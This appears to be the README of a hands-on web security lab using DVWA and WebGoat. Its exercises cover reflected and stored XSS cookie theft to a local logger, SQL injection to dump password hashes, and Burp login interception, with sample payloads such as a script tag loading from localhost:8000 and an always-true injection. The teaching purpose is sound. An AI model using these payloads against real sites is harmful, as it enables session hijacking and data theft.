Skip to content

README.md

Latest commit

 

History

History
367 lines (263 loc) · 15.3 KB

README.md

File metadata and controls

367 lines (263 loc) · 15.3 KB

Web Application Security — Lab Environment

Educational purposes only.

Goals

  • Cross-Site Scripting (XSS);
  • SQL Injection;
  • HTTP request interception, and session hijacking;
  • Become a hacker;
  • Understand importnace, know how to protect.

What You Should Learn

By completing this lab you should be able to:

  • Explain XSS - Demonstrate cookie theft via reflected and stored XSS payloads
  • Execute SQL Injection - Extract sensitive data from a database
  • Intercept HTTP traffic - Use Burp Suite or OWASP ZAP to modify requests
  • Understand session hijacking — Why the HttpOnly flag and input validation matter
  • Use DVWA & WebGoat — Industry-standard vulnerable applications for security training

Prerequisites

Requirement Notes
Basic HTML/JavaScript Need to know what a <script> tag is
Basic HTTP knowledge GET/POST, headers, cookies
Docker Desktop macOS/Windows, Linux
Node.js or Python For the cookie logger
Firefox (recommended) Use default settings. Note: Chrome blocks some XSS payloads with its built-in XSS auditor. But it's a good idea to check the behaviour in different browser.

No prior security domain experience required. If you don't know what HTTP cookies are, you'll eaither learn it in Exercise 1 or you won't complete this lab ;-)

Lab Architecture

Your Browser (Firefox + Burp Suite proxy)
        │
        ├─────► DVWA (http://localhost:4280)
        │       Intentionally vulnerable PHP app
        │       Credentials: admin:password
        │
        ├─────► WebGoat (http://localhost:8090/WebGoat)
        │       Interactive security lessons
        │
        └─────► Cookie Logger (http://localhost:8000)
                Listens for stolen cookies
                (started with: node or python)

Your Machine (Burp Suite proxy intercepts traffic)
        ↕ (modify requests before sending)
        Port 127.0.0.1:8080

Step 1: Start the Lab Containers

  1. First, verify Docker is installed: 
    docker --version
    Expected Docker version 24.0.0 or later.
  2. Then start all services: 
    docker compose up -d
  3. Wait 1–2 minutes. To check if services are ready: 
    docker compose logs

Services

Service URL Credentials
DVWA http://localhost:4280 admin / password
WebGoat http://localhost:8090/WebGoat Register on first visit

Initialize DVWA Database (First Time Only)

  1. Go to http://localhost:4280/setup.php → you'll see a setup page
  2. Click Create / Reset Database at the bottom
  3. Wait for confirmation, then log in with admin / password
  4. Click DVWA Security (left sidebar) → Set level to Low → Submit

Step 2: Install a Web Proxy

A proxy tool lets you see and modify every HTTP request. This is essential for Exercise 4.

(Recommended) Burp Suite Community

  1. It is installed by default in Kali. But in case your aren't looking for a straight solutions... Download: https://portswigger.net/burp/communitydownload
  2. Launch Burp (Temp project) → Proxy tab → confirm it listens on 127.0.0.1:8080
  3. Configure your browser to use this proxy (see table below)
  4. Visit http://burp → download the CA certificate (proxy must be enabled)
  5. Import the certificate in your browser:
    • Firefox: Settings → Privacy & Security → Certificates → View Certificates → Import → select file → check "Trust this CA"
    • Chrome: Settings → Security → Manage Certificates → Import → select file

Note: This lets Burp act as and HTTPS proxy and decrypt HTTPS traffic.

(Optional) OWASP ZAP

Download: https://www.zaproxy.org/download/ → default proxy is 127.0.0.1:8080

Browser Proxy Configuration

Browser Steps
Firefox Settings → Network Settings → Manual proxy configuration → HTTP Proxy: 127.0.0.1, Port: 8080
Chrome Settings → System → Proxy settings (opens OS proxy panel)
Any browser Install FoxyProxy extension for easy on/off switching

Firefox never proxies localhost or 127.0.0.1 — this is built-in and cannot be changed. For Exercise 4, use your machine's IP instead of localhost (e.g. http://192.168.122.100:4280). Find your IP: ipconfig getifaddr en0 (macOS) or hostname -I (Linux) or ip -br a or ifconfig or cat /proc/net/fib_trie...

Step 3: Start the Cookie Logger

Open a new terminal and keep this running:

node cookie_logger.js
# or
python3 cookie_logger.py

You should see:

Auth data logger running on http://localhost:8000
Waiting for cookies, tokens, or auth data...

It accepts three query parameters:

  • ?cookie=... — session cookies
  • ?token=... — JWT or auth tokens
  • ?data=... — arbitrary encoded data

Stolen data is printed to the terminal and saved to stolen_auth_data.txt.

Question: Where is cookie_logger.[js|py]?
Answer: YOUR wrote it!

Lab Exercises

Exercise 1: Reflected XSS — Cookie Theft

Goal: Inject a JavaScript payload and steal the session cookie.

What is XSS? Cross-Site Scripting happens when user-supplied input is rendered without sanitization. The browser executes injected scripts.

Steps:

  1. Log in to DVWA at http://localhost:4280 with admin / password

  2. Click XSS (Reflected) in the left sidebar

  3. Type your name (e.g., "Alice Cooper") and submit

    • Notice your input appears in the URL: http://localhost:4280/vulnerabilities/xss_r/?name=Alice+Cooper

  4. Test if the page is vulnerable by pasting this into the "What's your name?" field:

    <script>alert('OZI rules!')</script>

  5. You should see an alert box pops up.

  6. Your task: Stay on this page and use the same "What's your name?" input as in step 4. Craft a payload that sends the session cookie to your cookie logger (http://localhost:8000).

  7. How to verify: Check the terminal where cookie_logger is running. If your script worked, you will see the received cookie.

  8. Compare them to cookies you can find in browser (developer tools - Storage).

Submission requirements

  • In 1–2 sentences, describe what your payload did: what ran in the browser, and how the cookie reached your logger.
  • MUST: Describe what should be done to make this attack impossible.

Optional (extra points)

  • Set DVWA Security Level to Medium and try your payload again. Does it still work? Why or why not?
  • Click View Source on the exercise page. What filtering was added compared to Low level?
  • Craft your script to pass this filtering.

Exercise 2: Stored XSS — Persistent Malicious Script

Goal: Save a malicious script in the database so it runs for every visitor.

What's the difference from reflected XSS?

  • Reflected XSS only fires when victim clicks your crafted link
  • Stored XSS: are saved in the database and fires for every user who views the page (much more dangerous).

Steps:

  1. In DVWA, click XSS (Stored)
  2. You see a guest book with Name and Message fields
  3. Message field has a 50-character limit. Looks like you won't be able to past your previous code.
  4. But nothing is impossible for the motivated student! You can serve script in your cookie_logger. So the Message should contain only: 
    <script src="http://localhost:8000/s"></script>
  5. Your task: Add /s path to your cookie_logger and yet again "steal" your own cookies... But this time you should different browser session! The idea is to verify that cookies are stolen for any user that opens this page. Not only the one, who enters the Message.
  6. Esures that after Reload the page, the script fires again automatically. Check your cookie logger — it should receives the cookie on every reload.
  7. Open a separate sesssion/browser. Open the same XSS (Stored) page. Check your cookie_logger.

Submission requirements

  • In 1–2 sentences, describe the difference from reflected XSS: when does the script run, and for whom?

Learn more (additional tasks)

  • Open Developer Tools (F12) → Network tab → reload the page. Can you spot the request to localhost:8000?
  • What information does the browser leak about the victim?
  • Why is stored XSS more dangerous than reflected XSS in a public comments section?

Exercise 3: SQL Injection — Extracting Database Data

Goal: Use SQL injection to dump all usernames and password hashes.

What is SQL Injection? When user input is concatenated directly into SQL queries, attackers can close the string early and inject their own SQL.

Vulnerable query (server side):

SELECT * FROM users WHERE user_id = '<input>'

An attacker enters: 1' OR '1'='1 → becomes SELECT * FROM users WHERE user_id = '1' OR '1'='1' (always true, returns all rows)

Steps:

  1. In DVWA, click SQL Injection
  2. Enter 1 and submit — you see one user record
  3. Your task: Craft an input that makes the query return all user records instead of one.
  4. Your task: Craft an input that extracts usernames and password hashes from the database.

BUT: describe steps and queries to get tables, column names from DB in case you do not have a direct access to DB. Use only SQLi to obtain all information.

  1. (Optional) Hack the pasword.

Submission requirements

  • In 1–2 sentences, describe how your injection worked and why it was possible.
  • How would a developer prevent this?

Learn more (extra task)

  • Copy one MD5 hash and search on CrackStation. Can you recover the plaintext password?
  • Why is plain hashing (without salt) not enough?

Exercise 4: HTTP Request Interception with Burp Suite

Goal: Intercept a login request and modify it before the server receives it.

Before starting: Log out of DVWA or open a Private/Incognito window configured to use Burp.

Steps:

  1. Confirm Burp is running and your browser is proxied to 127.0.0.1:8080
  2. In Burp, go to Proxy → Intercept → click Intercept is on
  3. In your browser, visit DVWA and submit the login form with wrong credentials. Firefox users: Use your machine's IP instead of localhost (e.g. http://192.168.122.100:4280) — Firefox never proxies localhost. 
    Username: admin
Password: wrongpassword
  4. Burp intercepts the login request. You see the POST with username=admin&password=wrongpassword.
  5. Your task: Go to Repeater and modify the intercepted request so the login will be repeated multiple times until it is succed.

Submission requirements

  • In 1–2 sentences, describe how this could be used and/or abused?
  • How to protect from "abusers"?

Learn more (additional tasks)

  • Browse DVWA with Intercept off
  • Check Burp's Proxy → HTTP history tab
  • How many requests did your browser make?
  • Look at the cookies sent with each request — this is exactly what an attacker captures with XSS
  • Any ideas what attacker can know about you in case of implementing rogue proxy?

Exercise 5: WebGoat Guided Lessons (Optional)

WebGoat provides step-by-step lessons with hints and built-in answers.

  1. Open http://localhost:8090/WebGoat → register an account
  2. Go to (A3) Cross-Site Scripting in the left menu
  3. Complete lessons 2, 5, and 7 — each has hints if you get stuck
  4. After XSS, try the SQL Injection (intro) module — it builds on Exercise 3
  5. Explore other modules: CSRF, JWT attacks, Insecure Deserialization

Understanding the Cookie Logger

When you run an XSS payload in the victim's browser, it makes a request like:

GET /?cookie=PHPSESSID%3Dabc123 HTTP/1.1
Host: localhost:8000

The cookie_logger script:

  1. Receives the request
  2. Extracts the stolen data
  3. Prints it to the terminal
  4. Appends it to stolen_auth_data.txt
  5. (Optional, Real hacker only! Additional points ;) ) Responds with a 1x1 transparent GIF (so no error is visible to the victim). This is a classic technique — browsers load images silently, making the data theft invisible.

Stopping the Lab

# Stop containers (keep data)
docker compose down

# Stop and delete database (resets DVWA to clean state)
docker compose down -v

Deliverables

Prepare a report with:

  1. Screenshots — each successful attack (alert box, dumped data, cookie logger output, comparison to your cookies in browser, Burp intercept)
  2. Captured cookies — relevant lines from stolen_auth_data.txt
  3. "Explore further" answers — 1–2 sentences each
  4. Reflection per exercise:
    • What vulnerability was exploited?
    • Real-world impact?
    • How would a developer prevent it?
    • How can users protect themselves?

Troubleshooting

Using a VM?

DVWA shows setup page or "database not found"

  • Expected on first launch
  • Click Create / Reset Database at the bottom
  • If "Could not connect to database": wait 30–60 seconds for MariaDB to start, then refresh

WebGoat page never loads

  • WebGoat takes 2–3 minutes to start
  • Check progress: docker compose logs -f webgoat

Burp/ZAP not intercepting traffic

  • Browser proxy set to 127.0.0.1:8080?
  • Burp: Proxy → Intercept → Intercept is on
  • For HTTPS: install proxy CA certificate in browser

Burp shows only GET requests, or no POST for login

  • Firefox never proxies localhost — it is built-in and cannot be disabled. Use your machine's IP instead: http://<your-ip>:4280 (e.g. http://192.168.1.100:4280). Find your IP: ipconfig getifaddr en0 (macOS) or hostname -I (Linux).
  • Firefox sends requests to detectportal.firefox.com when the proxy is on. Click Forward on those until the POST appears.
  • Ensure you submit the login form after turning Intercept on.

Page loads forever when using IP

  • Turn Intercept off first, load the page, then turn Intercept on and submit the login form. (Intercept holds requests — if it's on when the page loads, the browser waits indefinitely.)
  • Or use Proxy → HTTP history: load the page and submit the form with Intercept off, then find the POST in HTTP history, right-click → Send to Repeater, modify the password, and send.

XSS alert box doesn't appear

  • DVWA Security Level set to Low?
  • Use Firefox (Chrome has built-in XSS auditor that blocks reflected payloads)
  • Check Developer Tools (F12) → Console for blocked scripts

Further Learning